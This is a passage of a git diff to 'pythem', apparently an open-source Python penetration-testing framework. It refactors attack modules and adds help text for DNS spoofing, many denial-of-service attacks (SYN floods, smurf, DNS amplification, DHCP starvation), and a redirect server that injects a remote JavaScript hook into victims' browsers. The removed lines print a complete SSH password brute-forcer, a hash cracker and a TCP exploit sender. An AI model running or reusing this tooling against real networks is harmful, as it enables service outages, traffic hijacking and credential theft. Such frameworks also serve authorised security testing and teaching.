-84,10 +87,25 @@ def stop(self): def getdomain(self): return self.currentdomain - def start(self, domain, inject): + def start(self, domain, inject, redirect): os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1') self.domain = domain self.inject = inject + self.fake = redirect t = threading.Thread(name='DNSspoof', target=self.spoof) t.setDaemon(True) t.start() + +dnspoisoner_help = """\n +[Help] Start to DNS spoof. +[Required] ARP spoof started. +parameters: + - start + - stop + - status + - help +example: +pythem> dnsspoof start +[!] Type all to spoof all domains +[+] Domain to be spoofed: www.google.com +\n""" diff --git a/pythem/modules/dos.py b/pythem/modules/dos.py index d815e92..660c7f6 100644 --- a/pythem/modules/dos.py +++ b/pythem/modules/dos.py @@ -21,7 +21,6 @@ from netfilterqueue import NetfilterQueue from scapy.all import * import os -import socket import sys import threading import requests @@ -30,8 +29,8 @@ class DOSer(object): name = "Denial of Service Module." desc = "Denial of service attacks here." - version = "1.2" - ps = "Need to add POST DoS attack." + version = "1.3" + ps = "Need to add POST HTTP DoS attack." def __init__(self): self.blocks = [] @@ -189,6 +188,7 @@ def dnsamplification(self): except Exception as e: print "[!] Error: {}".format(e) + def teardrop(self, target): # First packet try: @@ -313,3 +313,114 @@ def dhcpstarvation(self): exit(0) except Exception as e: pass + + +dos_help = """\n +[Help] Start to perform a choosen denial of service in target. +[Required] Depends +parameters: + - land + - dnsdrop + - synflood + - udpflood + - teardrop + - icmpflood + - icmpsmurf + - dhcpstarvation + - dnsamplification + - httpflood + - pingofdeath +example: +pythem> dos icmpsmurf help +\n""" + +teardrop_help="""\n +[Help] Start an UDP teardrop fragmentation attack. +[Required] Target and interface +example: +pythem> set interface wlan0 +pythem> set target 192.168.0.6 +pythem> dos teardrop +\n""" + +icmpsmurf_help="""\n +[Help] Start a ICMP smurf attack on target host. send echo-requests with spoofed target address. +[Required] Target and interface +example: +pythem> set target 192.168.1.4 +pythem> set interface wlan0 +pythem> dos icmpsmurf +\n""" + +synflood_help="""\n +[Help] Start a SYN flood attack on target host, default port = 80, set port to change. +[Required] Target and interface +[Optional] port +example: +pythem> set target 192.168.1.4 +pythem> set interface wlan0 +pythem> dos synflood +\n""" + +udpflood_help="""\n +[Help] Start a UDP flood attack on target host, default port = 80, set port to change. +[Required] Target +[Optional] port +example: +pythem> set target 192.168.1.4 +pythem> dos synflood +\n""" + +dnsdrop_help="""\n +[Help] Start to drop DNS queries that pass through man-in-the-middle traffic. +[Required] ARP spoof started +example: +pythem> dos dnsdrop +\n""" + +icmpflood_help="""\n +[Help] Start a ICMP flood attack on target host. +[Required] Target and interface +example: +pythem> set target 10.0.0.1 +pythem> set interface wlan0 +pythem> dos icmpflood +\n""" + +dhcpstarvation_help="""\n +[Help] Start a DHCP starvation attack on network DHCP server. Multiple spoofed mac dhcp discovers. +example: +pythem> dos dhcpstarvation +\n""" + +httpflood_help="""\n +[Help] Start a HTTP request flood on a target URL, *Only GET method supported by now. +example: +pythem> set target http://localhost/ +pythem> dos httpflood +\n""" + +land_help="""\n +[Help] Start a LAND attack on a target. +[Required] Target +[Optional] Port, default = 80 +example: +pythem> set target 10.0.0.101 +pythem> dos land +\n""" + +pingofdeath_help="""\n +[Help] Start a Ping of Death attack on a target. +[Required] Target +example: +pythem> set target 192.168.1.101 +pythem> dos pingofdeath +\n""" + +dnsamplification_help="""\n +[Help] Start a DNS amplification attack on target address with given DNS servers to amplificate. +example: +pythem> set target 1.2.3.4 +pythem> dos dnsamplification +[+] DNS Server to use in amplification attack(separated by commas): 8.8.8.8,8.8.4.4 +\n""" \ No newline at end of file diff --git a/pythem/modules/fuzzer.py b/pythem/modules/fuzzer.py index 94763e7..e7f6722 100644 --- a/pythem/modules/fuzzer.py +++ b/pythem/modules/fuzzer.py @@ -24,7 +24,6 @@ import struct import resource import time -from netaddr import IPAddress, AddrFormatError from subprocess import * import socket @@ -34,20 +33,13 @@ class SimpleFuzz(object): desc = "Used in the xploit module. simple 'A' generation through tcp or stdin" version = "0.3" - def __init__(self, target, type, offset): - self.offset = offset - self.target = target - if type == "test": - return - if type == "tcp": - self.port = input("[+]Enter the tcp port to fuzz: ") - self.tcpfuzz() - elif type == "stdin": - self.stdinfuzz() - else: - print "[!] Select a valid fuzzer type (stdin or tcp)." + def __init__(self): + self.offset = None + self.target = None - def stdinfuzz(self): + def stdinfuzz(self,target,offset): + self.target = target + self.offset = offset buf = '' while True: try: @@ -80,71 +72,5 @@ def stdinfuzz(self): print "[*] Child program exited with code: %d\n" % ret print "\n[*] Hit enter to continue.\n" continue - - - except KeyboardInterrupt: - break - - def tcpfuzz(self): - buf = '' - try: - self.target = str(IPAddress(self.target)) - except AddrFormatError as e: - try: - self.target = socket.gethostbyname(self.target) - except Exception as e: - print "[-] Select a valid IP Address as target." - print "[!] Exception caught: {}".format(e) - return - - buf = '\x41' * self.offset - print "[+] TCP fuzzing initialized, wait untill crash." - while True: - try: - self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.socket.settimeout(2) - self.socket.connect((self.target, self.port)) - print "[+] Fuzzing with [{}] bytes.".format(len(buf)) - - try: - response = self.socket.recv(1024) - print "[*] Response: {}".format(response) - self.socket.send(buf) - - try: - response = self.socket.recv(1024) - print "[*] Response: {}".format(response) - self.socket.close() - buf += '\x41' * self.offset - except: - self.socket.close() - buf += '\x41' * self.offset - except: - self.socket.send(buf) - try: - response = self.socket.recv(1024) - print "[*] Response: {}".format(response) - self.socket.close() - buf += '\x41' * self.offset - except: - self.socket.close() - buf += '\x41' * self.offset - except KeyboardInterrupt: break - except Exception as e: - if 'Connection refused' in e: - print "[-] Connection refused." - time.sleep(4) - - else: - try: - response = self.socket.recv(1024) - print "[*] Response: {}".format(response) - except Exception as e: - if 'timed out' in e: - print "[-] Timed out." - time.sleep(2) - - print "[+] Crash occured with buffer length: {}".format(str(len(buf))) - print "[!] Exception caught: {}".format(e) diff --git a/pythem/modules/hashcracker.py b/pythem/modules/hashcracker.py deleted file mode 100644 index 2311150..0000000 --- a/pythem/modules/hashcracker.py +++ /dev/null @@ -1,87 +0,0 @@ -#!/usr/bin/env python2.7 -# coding=UTF-8 - -# Copyright (c) 2016-2018 Angelo Moura -# -# This file is part of the program pythem -# -# pythem is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA - - -from hashlib import * -from sys import argv - - -class HashCracker(object): - - def __init__(self, hash=None, wordlist=None): - if not hash: - self.hash = raw_input("[+] Enter the Hash: ") - else: - self.hash = hash - - if not wordlist: - wordlist = raw_input("[+] Select file as wordlist: ") - - self.wordlist = open(wordlist, "r") - print "[+] Supported Hashes: md5, sha1, sha224, sha256, sha512" - hash_type = {32: "md5", 40: "sha1", 56: "sha224", 64: "sha256", 128: "sha512"} - - try: - print "[+] Most likely: {}".format(hash_type[len(self.hash)]) - except: - pass - - self.type = raw_input("[+] Hash: ") - self.hashcrack() - - def hashcrack(self): - found = False - if self.type.lower() == "md5": - for word in self.wordlist: - if md5(word).hexdigest() == self.hash: - print "[+] MD5 Cracked: {}".format(word) - found = True - - if self.type.lower() == "sha1": - for word in self.wordlist: - if sha1(word).hexdigest() == self.hash: - print "[+] SHA1 Cracked: {}".format(word) - found = True - - if self.type.lower() == "sha224": - for word in self.wordlist: - if sha224(word).hexdigest() == self.hash: - print "[+] SHA224 Cracked: {}".format(word) - found = True - - if self.type.lower() == "sha256": - for word in self.wordlist: - if sha256(word).hexdigest() == self.hash: - print "[+] SHA256 Cracked: {}".format(word) - found = True - - if self.type.lower() == "sha512": - for word in self.wordlist: - if sha512(word).hexdigest() == self.hash: - print "[+] SHA512 Cracked: {}".format(word) - found = True - - if not found: - print "[!] Hash crack failed, try with another wordlist." - - -if __name__ == "__main__": - HashCracker(argv[1], argv[2]) diff --git a/pythem/modules/pforensic.py b/pythem/modules/pforensic.py index 9783647..38a2973 100644 --- a/pythem/modules/pforensic.py +++ b/pythem/modules/pforensic.py @@ -29,16 +29,13 @@ class PcapReader(object): name = "Simple pcap analyzer" desc = "Use some functions to analyze a pcap file" - version = "0.3" + version = "0.4" obs = "need to filter for images and decode encoded gzip content" - def __init__(self, file): + def __init__(self): try: - self.file = file - self.packets = rdpcap(file) + self.file = None except: - if file == "pythem_module_test": - return print "You probably forgot to set a file to be analyzed." def printHelp(self): @@ -48,13 +45,13 @@ def printHelp(self): print color(" FILE - [ {} ]".format(self.file), "red") print print - print color("[*] help: Print the help message", "blue") + print color("[*] help: Print the help message", "blue") print print print color("[*] clear: Clean the screen, same as GNU/Linux OS 'clear'", "blue") print print - print color("[*] exit/quit: Return to pythem", "blue") + print color("[*] exit/quit: Return to pythem", "blue") print print print color("[*] show: Display all the packets and their index numbers.", "blue") @@ -122,7 +119,9 @@ def custom_filter(self, packets, filter): print "[-] Select a valid filter: 'string' or 'layer'" return - def start(self): + def start(self, file): + self.file = file + self.packets = rdpcap(file) while True: try: console = termcolor.colored("pforensic>", "yellow", attrs=["bold"]) @@ -191,3 +190,12 @@ def start(self): pass except KeyboardInterrupt: break + + +pforensic_help = """\n +[Help] Start a packet-analyzer. +[Required] Set a file with a .pcap file +example: +pythem> set file capture.pcap +pythem> pforensic +\n""" diff --git a/pythem/modules/redirect.py b/pythem/modules/redirect.py index 0301f59..f80942e 100644 --- a/pythem/modules/redirect.py +++ b/pythem/modules/redirect.py @@ -21,7 +21,8 @@ import socket import sys import threading - +import argparse +from pythem.modules.utils import get_myip class Redirect(object): name = "Redirect" @@ -29,69 +30,94 @@ class Redirect(object): version = "0.3" ps = "Will need to change the way of injection to netfilter packet injection." - def __init__(self, host, port, js): - self.host = host - self.port = port + def __init__(self): + self.host = None + self.port = None + self.js = None + self.response = None from dnspoisoner import DNSspoof - self.dnsspoof = DNSspoof(self.host) - if js != None: - self.js = js - else: - try: - self.js = raw_input("[+] Enter the script source: ") - except KeyboardInterrupt: - pass + self.dnsspoof = DNSspoof() + - self.response = """ HTTP/1.1 200 OK -Date: Thu, 12 Apr 2016 15:25 GMT -Server: Apache/2.2.17 (Unix) mod ssl/2.2 17 OpenSSL/0.9.8l DAV/2 -Last-Modified: Sat, 28 Aug 2015 22:17:02 GMT -ETag: "20e2b8b-3c-48ee99731f380" -Accept-Ranges: bytes + def start(self, host, port, js): + self.js = """ HTTP/1.1 200 OK Content-Lenght: 90 Connection: close Content-Type: text/html - + -""".format(self.js) - - def start(self): - self.t = threading.Thread(name='Redirection', target=self.server) +""".format(js) + self.response = self.js + self.host = host + self.port = int(port) + if js != None: + self.js = js + else: + try: + self.js = raw_input("[+] Enter the script source: ") + except KeyboardInterrupt: + pass + self.t = threading.Thread(name='Redirection', target=self.server, args=(host,port,js)) self.t.setDaemon(True) - self.t.start + self.t.start() def stop(self): try: self.t.stop() - print "[-] Redirect with script injection finalized." + print ("[-] Redirect with script injection finalized.") except Exception as e: - print "[!] Exception caught: {}".format(e) + print ("[!] Exception caught: {}".format(e)) - def server(self): - print "[+] Redirect with script injection initialized." - self.dnsspoof.start(None, "Inject") + def server(self, host, port, js): + self.js = """ HTTP/1.1 200 OK +Content-Lenght: 90 +Connection: close +Content-Type: text/html + + + + +""".format(js) + self.response = self.js + self.host = host + self.port = int(port) + if js != None: + self.js = js + else: + try: + self.js = raw_input("[+] Enter the script source: ") + except KeyboardInterrupt: + pass + print ("[+] Redirect with script injection initialized.") + if self.dnsspoof: + self.dnsspoof.start(None, "Inject", self.host) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_address = (self.host, self.port) - print '[+] Injection URL - http://{}:{}'.format(self.host, self.port) + print ('[+] Injection URL - http://{}:{}'.format(self.host, self.port)) server.bind(server_address) server.listen(1) for i in range(0, 2): if i >= 1: - domain = self.dnsspoof.getdomain() - domain = domain[:-1] - print "[+] Target was requesting: {}".format(domain) - self.dnsspoof.stop() - + try: + domain = self.dnsspoof.getdomain() if self.dnsspoof else 'localhost' + domain = domain[:-1] if self.dnsspoof else domain + print "[+] Target was requesting: {}".format(domain) + if self.dnsspoof: + self.dnsspoof.stop() + except AttributeError: + domain = None + pass try: connection, client_address = server.accept() - redirect = self.response + """ """.format( - domain) + redirect = """ HTTP/1.1 200 OK + +""".format(domain) connection.send("%s" % redirect) print "[+] Script Injected on: ", client_address connection.shutdown(socket.SHUT_WR | socket.SHUT_RD) @@ -106,3 +132,30 @@ def server(self): connection.close() except KeyboardInterrupt: server.close() + + +redirect_help = """\n +[Help] Start to inject a source script into target browser then redirect to original destination. +[Required] ARP spoof started. +parameters: + - start + - stop + - status + - help +example: +pythem> redirect start +[+] Enter the script source: http://192.168.1.6:3000/hook.js +\n""" + +parser = argparse.ArgumentParser(description='pythem-redirect') +parser.add_argument('-i','--interface',help='Interface used on spoof.',required=True) +parser.add_argument('-p','--port', help='Port used by redirect server.',required=True) +parser.add_argument('-s','--script', help='Script URL injected on client.',required=True) + + +if __name__ == "__main__": + args = parser.parse_args() + redirect = Redirect() + myip = get_myip(args.interface) + redirect.server(myip,args.port,args.script) + diff --git a/pythem/modules/scanner.py b/pythem/modules/scanner.py index df0b9f0..987cddc 100644 --- a/pythem/modules/scanner.py +++ b/pythem/modules/scanner.py @@ -30,20 +30,19 @@ class Scanner(object): name = "Multi purpose scanner" desc = "Scan hosts" - version = "0.8" + version = "0.9" - def __init__(self, target, interface, mode): - self.interface = interface - self.targets = target - self.arprange = target - self.range = self.get_range(target) + def __init__(self): + self.interface = None + self.targets = None + self.arprange = None self.portRange = [21, 22, 23, 25, 53, 57, 79, 80, 107, 109, 110, 111, 115, 118, 123, 135, 137, 138, 139, 143, 161, 389, 443, 445, 465, 995, 1025, 1026, 1027, 1035, 1234, 1243, 3000, 3128, 3306, 3389, 3872, 4444, 5000, 5001, 5002, 5003, 5004, 5005, 5006, 5100, 5190, 5222, 5223, 5228, 5631, 5632, 5900, 6000, 6005, 6346, 6667, 6667, 8080, 8443, 8888, 9999, 12345, 12346, 16660, 18753, 20034, 20432, 20433, 27374, 27444, 27665, 31335, 31337, 33270, 33567, 33568, 40421, 60008, 65000] - self.mode = mode + self.mode = None self.portManual = None def get_range(self, targets): @@ -202,7 +201,11 @@ def ARPscanner(self): print "\n[*] User requested shutdown." sys.exit(1) - def start(self): + def start(self, target, interface, mode): + self.target = target + self.interface = interface + self.mode = mode + self.range = self.get_range(target) if self.mode == 'manual': try: self.MANUALscanner() @@ -230,3 +233,16 @@ def start(self): else: print "[!] Invalid scan mode ./pythem.py --help to check your sintax." + +scanner_help = """\n +[Help] Start a scanner in target host. +[Required] interface and target +parameters: + - tcp + - arp + - manual +example: +pythem> set target www.google.com +pythem> set interface eth0 +pythem> scan tcp +\n""" \ No newline at end of file diff --git a/pythem/modules/sniffer.py b/pythem/modules/sniffer.py index 71ec07e..a1c1d2d 100644 --- a/pythem/modules/sniffer.py +++ b/pythem/modules/sniffer.py @@ -38,11 +38,10 @@ class Sniffer(object): desc = "Custom scapy sniffer." version = "1.4" - def __init__(self, interface, filter): - self.interface = interface - self.filter = filter - self.wrpcap = raw_input( - "[*] Wish to write a .pcap file with the sniffed packets in the actual directory?[y/n]: ") + def __init__(self): + self.interface = None + self.filter = None + self.wrpcap = None self.packetcounter = 0 def customsniff(self, p): @@ -364,9 +363,13 @@ def creds(self, users, passwords, proxy): except: print "\n" + color("[$$$] Proxy credentials: ", "yellow") + str(proxy[0][1]) + "\n" - def start(self): + def start(self, interface=None, filter=None): + self.interface = interface + self.filter = filter + self.wrpcap = raw_input( + "[*] Wish to write a .pcap file with the sniffed packets in the actual directory?[y/n]: ") # print "FILTER: " + self.filter - if self.filter == None: + if not self.filter: self.filter = 'core' if self.filter == "core": if self.wrpcap == 'y': @@ -434,6 +437,19 @@ def start(self): print "[!] Exception caught: {}".format(e) +sniff_help = """\n +[Help] Start to sniff network traffic with custom scapy filter. +[Required] Interface +[Optional] Filter in tcpdump format +[Custom filters]: + - http (Quick 'port 80') + - dns (Quick 'port 53') + - core (Core network events) +examples: +pythem> set interface wlan0 +pythem> sniff port 1337 and host 192.168.1.1 +\n""" + if __name__ == "__main__": # Change the import for utils to run sniffer alone. @@ -447,13 +463,13 @@ def start(self): print "run default:" print " python sniffer.py" else: - Sniffer = Sniffer(sys.argv[2], sys.argv[3]) - Sniffer.start() + Sniffer = Sniffer() + Sniffer.start(sys.argv[2],sys.argv[3]) except IndexError: print "[+] Starting Default Sniffer" print "[pythem Sniffer initialized]" - Sniffer = Sniffer(None, None) - Sniffer.start() + Sniffer = Sniffer() + Sniffer.start(None, None) except Exception as e: print "[!] Exception caught: {}".format(e) diff --git a/pythem/modules/ssh_bruter.py b/pythem/modules/ssh_bruter.py deleted file mode 100644 index c3f5d51..0000000 --- a/pythem/modules/ssh_bruter.py +++ /dev/null @@ -1,116 +0,0 @@ -"""Part of the pythem framework. """ -# -# Copyright (c) 2016-2018 Angelo Moura -# -# This file is part of the program pythem -# -# pythem is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -# === Change log: -# -# 2016, Aug 06, Bifrozt -# - Removed shebang from module -# - Minimized length of args -# - Verify that file object exists -# - Verify that user has read access to file object -# - Removed use of python builtin word: 'file' replaced with 'fobj' -# - Defined connection timeout (2 sec) for non responsive SSH server. -# Will return a tuple from try-except in ssh_connect() on timeout. -# Calls sys.exit(1) if timeout to SSH server occurs. -# - try-except in start() will check type before if-elif statements -# - Calls sys.exit(0) when correct password is found. -# - Removed try-except in start(). Not sure what exceptions this will be -# catching, except a possible KeyboardInterrupt? -# -# -# === Future development suggestions: -# -# 2016, Aug 06, Bifrozt -# - Use 'threading' to improve brute force attack speed -# -# -import os -import paramiko -import sys -import socket -from os import R_OK - - -class SSHbrutus(object): - """SSH brute force class. """ - name = "SSH Brute-forcer" - desc = "Perform password brute-force on SSH" - version = "0.1" - - def __init__(self, trgt, usr, fobj): - self.trgt = trgt - self.usr = usr - self.fobj = fobj - - def exists(self): - """Tests if the file exists and if the executing user has read access - to the file. Returns file if both tests are passed. """ - if not os.path.isfile(self.fobj): - print '[-] File not found: {0}'.format(self.fobj) - sys.exit(1) - - if not os.access(self.fobj, R_OK): - print '[-] Denied read access: {0}'.format(self.fobj) - sys.exit(1) - - if os.path.isfile(self.fobj) and os.access(self.fobj, R_OK): - return self.fobj - - def ssh_connect(self, passwd, code=0): - """Connects to the SSH server, attempts to authenticate and returns the - exit code from the attempt. """ - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) - - try: - ssh.connect(self.trgt, port=22, username=self.usr, password=passwd, timeout=2) - except paramiko.AuthenticationException: - code = 1 - except socket.error, err: - code = 2, err - - ssh.close() - return code - - def start(self): - """Itterates trough the password list and checks wheter or not the - correct password has been found. """ - fobj = self.exists() - wlist = open(fobj) - - for i in wlist.readlines(): - passwd = i.strip("\n") - resp = self.ssh_connect(passwd) - - if type(resp) == int: - - if resp == 0: - print "[+] User: {0}".format(self.usr) - print "[+] Password found!: {0}".format(passwd) - break - - if resp == 1: - print "[-] User: {0} Password: {1}".format(self.usr, passwd) - - elif resp[0] == 2: - print "[!] {0}: {1}".format(resp[1], self.trgt) - break - - wlist.close() diff --git a/pythem/modules/utils.py b/pythem/modules/utils.py index 77003eb..832d500 100644 --- a/pythem/modules/utils.py +++ b/pythem/modules/utils.py @@ -36,6 +36,14 @@ def decode(base): result = "[+] Result: {}".format(decode) return result +decode_help = """\n +[Help] Decode a base64 string. +example: +pythem> decode +[+] Decode: +[+] Enter the string to be decoded: +\n""" + def encode(base): text = raw_input("[*] String to be encoded: ") @@ -43,6 +51,14 @@ def encode(base): result = "[+] Result: {}".format(encode) return result +encode_help = """\n +[Help] Encode a base64 string. +example: +pythem> encode +[+] Encode: +[+] Enter the string to be encoded: +\n""" + def cookiedecode(): cookie = raw_input("[+] Enter the cookie value: ") @@ -50,6 +66,13 @@ def cookiedecode(): print print res +cookiedecode_help = """\n +[Help] Decode a base64 unquoted Cookie. +example: +pythem> cookiedecode +[+] Enter the cookie value: +\n""" + def get_myip(interface): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) @@ -354,26 +377,18 @@ def print_help(): print color("[SECTION - EXPLOIT DEVELOPMENT AND REVERSE ENGINERING]", "grey") print print - print color("[*] xploit: Interactive stdin or tcp exploit development shell.", "blue") + print color("[*] xploit: Interactive stdin exploit development shell.", "blue") print - print "The stdin should be called after setting file" - print "The tcp should be called after setting target" + print "Should be called after setting an executable file" print print color(" arguments:", "red") print - print color(" - stdin | set file before", "yellow") - print color(" - tcp | set target before", "yellow") print print color(" examples:", "green") print - print color(" pythem> ", "red") + "set file exec" + print color(" pythem> ", "red") + "set file executable" print - print color(" pythem> ", "red") + "xploit stdin" - print color(" xploit> ", "blue") + "help" - print " or" print color(" pythem> ", "red") + "xploit" - print " [*] Select one xploit mode, options = stdin/tcp" - print " [+] Exploit mode: stdin" print color(" xploit> ", "blue") + "help" print print diff --git a/pythem/modules/webcrawler.py b/pythem/modules/webcrawler.py index 38cb132..490c8d1 100644 --- a/pythem/modules/webcrawler.py +++ b/pythem/modules/webcrawler.py @@ -134,5 +134,11 @@ def start(self, target): if message: buf += message print buf - # except Exception as e: - # print "Exception caught 2: {}".format(e) + +webcrawler_help = """\n +[Help] Start a webcrawler in target URL. +[Required] URL as target +example: +pythem> set target http://10.0.0.1/app +pythem> webcrawl start +\n""" \ No newline at end of file diff --git a/pythem/modules/xploit.py b/pythem/modules/xploit.py index 879b3b3..fe10e4a 100644 --- a/pythem/modules/xploit.py +++ b/pythem/modules/xploit.py @@ -43,10 +43,9 @@ class Exploit(object): name = "Exploit development interactive shell." desc = "use gdb plus ROPgadget + offset generator and memaddresses to create exploits." - def __init__(self, target, mode): + def __init__(self): self.version = '0.0.5' - self.target = target - self.mode = mode + self.target = None self.xtype = 'bufferoverflow' self.offset = 1 self.nops = 0 @@ -56,13 +55,6 @@ def __init__(self, target, mode): self.addr2 = None self.arch = 'x86' self.port = 0 - if self.target: - self.p1 = Popen(['gdb', "--silent", "{}".format(self.target)], stdin=PIPE, stdout=PIPE, bufsize=1) - gdbout = self.p1.stdout.readline() - else: - self.p1 = Popen(['gdb', '--silent'], stdin=PIPE, stdout=PIPE, bufsize=1) - # gdbout = self.p1.stdout.readline() - completer = Completer(".gdb_history", "xploit") def gdb(self, cmd): def signal_handler(signum, frame): @@ -149,6 +141,7 @@ def run(self): print "[+] Writing payload into buffer.txt" f = open("buffer.txt", "w") f.write(payload) + f.close() elif self.arch == "x64": if self.addr1 is not None: @@ -166,18 +159,13 @@ def run(self): print "\n[+] Writing payload into buffer.txt\n" f = open("buffer.txt", "w") f.write(payload) + f.close() else: print "[!] Select a valid processor architecture." return - if self.mode == "tcp": - self.port = input("[+] Enter the tcp port to fuzz: ") - self.tcppwn(payload) - elif self.mode == "stdin": self.stdinpwn(payload) - else: - print "[!] Select a valid mode (stdin or tcp)." def stdinpwn(self, payload): resource.setrlimit(resource.RLIMIT_STACK, (-1, -1)) @@ -200,33 +188,15 @@ def stdinpwn(self, payload): print "\n If it does not work automatically, run on terminal: (cat buffer.txt ; cat) | {}".format(self.target) - def tcppwn(self, payload): - try: - self.target = str(IPAddress(self.target)) - except AddrFormatError as e: - try: - self.target = gethostbyname(self.target) - except Exception as e: - print "[-] Select a valid IP address or domain name as target." - print "[!] Exception caught: {}".format(e) - return - - try: - self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.socket.settimeout(4) - self.socket.connect((self.target, self.port)) - self.socket.send(payload) - while True: - self.socket.recv(1024) - except KeyboardInterrupt: - return - - except Exception as e: - if 'Connection refused' in e: - print "[-] Connection refused." - return - def start(self): + def start(self,target): + self.target=target + if self.target: + self.p1 = Popen(['gdb', "--silent", "{}".format(self.target)], stdin=PIPE, stdout=PIPE, bufsize=1) + gdbout = self.p1.stdout.readline() + else: + self.p1 = Popen(['gdb', '--silent'], stdin=PIPE, stdout=PIPE, bufsize=1) + completer = Completer(".gdb_history", "xploit") while True: try: console = termcolor.colored("xploit>", "blue", attrs=["bold"]) @@ -234,7 +204,6 @@ def start(self): os.system("echo {} >> .gdb_history".format(self.command)) self.argv = self.command.split() self.input_list = [str(a) for a in self.argv] - try: if self.input_list[0] == 'exit' or self.input_list[0] == 'quit': break @@ -278,7 +247,9 @@ def start(self): elif self.input_list[0] == 'fuzz': try: from fuzzer import SimpleFuzz - self.fuzz = SimpleFuzz(self.target, self.mode, self.offset) + self.fuzz = SimpleFuzz() + self.fuzz.stdinfuzz(self.target,self.offset) + except KeyboardInterrupt: pass except Exception as e: @@ -354,7 +325,7 @@ def start(self): string = raw_input("[+] Shellcode/Address/LittleEndian String to decode: ") try: - string = string.strip("\\x") + string = string.replace("\\x","") except: pass @@ -611,7 +582,6 @@ def printHelp(self): print color("[*] fuzz Start fuzzing on subject.", "blue") print print "If file is passed to xploit will fuzz stdin" - print "If target is passed to xploit will fuzz tcp" print print "The offset's value will be the number of 'A's to send." print @@ -631,81 +601,93 @@ def printHelp(self): print def gdbCheatSheet(self): - print " ____________________________________________________________________________________ " - print "|: |: |" - print "|---------------------------------------|--------------------------------------------|" - print "|function_name |expression |" - print "|*function_name+ (disas function |address |" - print "|line_number to get ) |$register |" - print "|file:line_number |filename::variable_name |" - print "| |function::variable_name |" - print "|_______________________________________|____________________________________________|" - print " ____________________________________________________________________________________ " - print "|Registers: |Formats: |" - print "|---------------------------------------|--------------------------------------------|" - print "|General Purpose Registers: | |" - print "|ax - Accumulator register |a Pointer |" - print "|bx - Base register |c Read as integer,print as char |" - print "|cx - Counter register |d Integer |" - print "|dx - Data register (I/O) |f Float |" - print "| |o Integer as octal |" - print "|Index Registers: |s String |" - print "|si - Source index (string) |t Integer as binary |" - print "|di - Destination index (string) |u Integer, unsigned decimal |" - print "|ip - Instruction pointer |x Integer, as hexadecimal |" - print "| | |" - print "|Stack Registers: | |" - print "|bp - Base pointer | |" - print "|sp - Stack pointer | |" - print "|_______________________________________|____________________________________________|" - print " ____________________________________________________________________________________ " - print "|Conditions: |Signals: |" - print "|---------------------------------------|--------------------------------------------|" - print "|break/watch if |handle |" - print "|condition |: |" - print "| |(no)print |" - print "| |(no)stop |" - print "| |(no)pass |" - print "|_______________________________________|____________________________________________|" - print " ____________________________________________________________________________________ " - print "|Manipulating the program: |Running: |" - print "|---------------------------------------|--------------------------------------------|" - print "|set var = |run / r |" - print "|return |kill / k |" - print "|jump | |" - print "|_______________________________________|____________________________________________|" - print " ____________________________________________________________________________________ " - print "|Variables and memory: |Informations: |" - print "|---------------------------------------|--------------------------------------------|" - print "|print/format |disassemble / disas |" - print "|display/format |disassemble / disas |" - print "|undisplay |info args |" - print "|enable display |info breakpoints |" - print "|disable display |info display |" - print "|x/nf
|info locals |" - print "|n:how many units to print |info sharedlibrary |" - print "|f: format character |info threads |" - print "| |info directories |" - print "| |info registers |" - print "| |whatis variable_name |" - print "|_______________________________________|____________________________________________|" - print " ____________________________________________________________________________________ " - print "|Watchpoints: |Stepping: |" - print "|---------------------------------------|--------------------------------------------|" - print "|watch |step / s |" - print "|delete/enable/disable |next / n |" - print "| |finish / f |" - print "| |continue / c |" - print "|_______________________________________|____________________________________________|" - print " ____________________________________________________________________________________ " - print "|Breakpoints: | Examining the stack: |" - print "|---------------------------------------|--------------------------------------------|" - print "| break / br | backtrace / bt |" - print "| delete | where |" - print "| clear | backtrace full |" - print "| enable | where full |" - print "| disable | frame |" - print "|_______________________________________|____________________________________________|" + print """\n + _____________________________________________________________________________________ + |: |: | + |----------------------------------------|--------------------------------------------| + |function_name |expression | + |*function_name+ (disas function |address | + |line_number to get ) |$register | + |file:line_number |filename::variable_name | + | |function::variable_name | + |________________________________________|____________________________________________| + _____________________________________________________________________________________ + |Registers: |Formats: | + |----------------------------------------|--------------------------------------------| + |General Purpose Registers: | | + |ax - Accumulator register |a Pointer | + |bx - Base register |c Read as integer,print as char | + |cx - Counter register |d Integer | + |dx - Data register (I/O) |f Float | + | |o Integer as octal | + |Index Registers: |s String | + |si - Source index (string) |t Integer as binary | + |di - Destination index (string) |u Integer, unsigned decimal | + |ip - Instruction pointer |x Integer, as hexadecimal | + | | | + |Stack Registers: | | + |bp - Base pointer | | + |sp - Stack pointer | | + |________________________________________|____________________________________________| + _____________________________________________________________________________________ + |Conditions: |Signals: | + |----------------------------------------|--------------------------------------------| + |break/watch if |handle | + |condition |: | + | |(no)print | + | |(no)stop | + | |(no)pass | + |________________________________________|____________________________________________| + _____________________________________________________________________________________ + |Manipulating the program: |Running: | + |----------------------------------------|--------------------------------------------| + |set var = |run / r | + |return |kill / k | + |jump | | + |________________________________________|____________________________________________| + _____________________________________________________________________________________ + |Variables and memory: |Informations: | + |----------------------------------------|--------------------------------------------| + |print/format |disassemble / disas | + |display/format |disassemble / disas | + |undisplay |info args | + |enable display |info breakpoints | + |disable display |info display | + |x/nf
